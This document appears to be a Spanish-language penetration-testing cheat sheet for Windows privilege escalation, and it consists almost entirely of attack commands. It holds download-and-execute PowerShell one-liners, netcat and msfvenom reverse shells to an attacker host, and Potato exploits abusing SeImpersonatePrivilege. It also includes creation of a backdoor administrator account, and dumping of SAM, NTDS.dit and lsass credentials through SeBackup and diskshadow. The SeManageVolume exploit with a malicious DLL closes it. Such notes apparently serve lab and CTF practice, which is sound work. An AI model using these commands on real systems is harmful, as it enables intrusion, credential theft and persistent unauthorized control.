Windows

whoami /all
IEX(New-Object Net.WebClient).downloadString('http://IP:PORT/winPEAS.ps1')

Credenciales en caché

cmdkey /list

[+]Dumpear DPAPI creds

tasklist

Puertos en escucha

netstat -ano | FindStr /I "LISTENING"

Que usuario ejecuta ese puerto

tasklist /FI "PID eq 5540" /V

Si tira permission denied, probablemente sea SYSTEM o Administrator


C:\inetpub
C:\xampp\htdocs

Ver permisos sobre una carpeta:

icacls htdocs

LibreOffice

C:\Program Files\LibreOffice\program> type version.ini

CVE-2023-2255

Leer Historial

Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt"
type C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

SeImpersonatePrivilege

GitHub - BeichenDream/GodPotato

.\gp.exe -cmd "nc64.exe -e cmd.exe IP ATACANTE PUERTO"

O crear un nuevo usuario admin

net user m0b Password123! /add
net localgroup Administrators m0b /add
net localgroup "Remote Management Users" m0b /add

Si no va así probaremos con JuicyPotato (versión de 32 o 64 bits):

powershell -c Invoke-WebRequest -Uri "http://IP:PORT/nc.exe" -OutFile nc.exe
powershell -c Invoke-WebRequest -Uri "http://IP:PORT/JuicyPotato.exe" -OutFile JuicyPotato.exe
powershell -c Invoke-WebRequest -Uri "http://IP:PORT/rshell.bat" -OutFile rshell.bat

rshell.bat

C:\Users\kohsuke\AppData\Local\Temp\pentesting\nc.exe -e powershell.exe IP PORT
sudo rlwrap -cAr nc -lvnp PORT
./jp.exe -p ./rshell.bat -l 3333 -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"

Usar otro CLSID según versión de Windows

juicy-potato/CLSID at master · ohpe/juicy-potato · GitHub

Probar con shell de msfvenom (32 o 64 bits)

msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o revShell.exe

PowerUp

Set-ExecutionPolicy Bypass -Scope Process -Force
upload /ruta .
Import-Module .\PowerUp.ps1
. .\PowerUp.ps1

||

IEX (New-Object Net.WebClient).DownloadString('http://IP:PORT/PowerUp.ps1')

Invoke-AllChecks

Abrir archivo lsass.DMP

pip install pypykatz
pypykatz lsa minidump lsass.dmp

SeBackup/SeRestore Privilege

reg save hklm\system C:\Users\svc_backup\AppData\Local\Temp\pentest\system.hive
reg save hklm\sam C:\Users\svc_backup\AppData\Local\Temp\pentest\sam.hive
impacket-secretsdump -sam sam.hive -system system.hive LOCAL

Windows Privilege Escalation: SeBackupPrivilege - Hacking Articles

raj.dsh

set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
unix2dos raj.dsh
upload raj.dsh
cd $env:TEMP
upload raj.dsh
diskshadow /s raj.dsh
robocopy /b z:\windows\ntds . ntds.dit
impacket-secretsdump -ntds ntds.dit -system system local

SeManageVolume Privilege

wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o tzres.dll
cd C:\Windows\system32\wbem
certutil.exe -urlcache -split -f http://IP/tzres.dll
rlwrap -cAr nc -lvnp PORT
systeminfo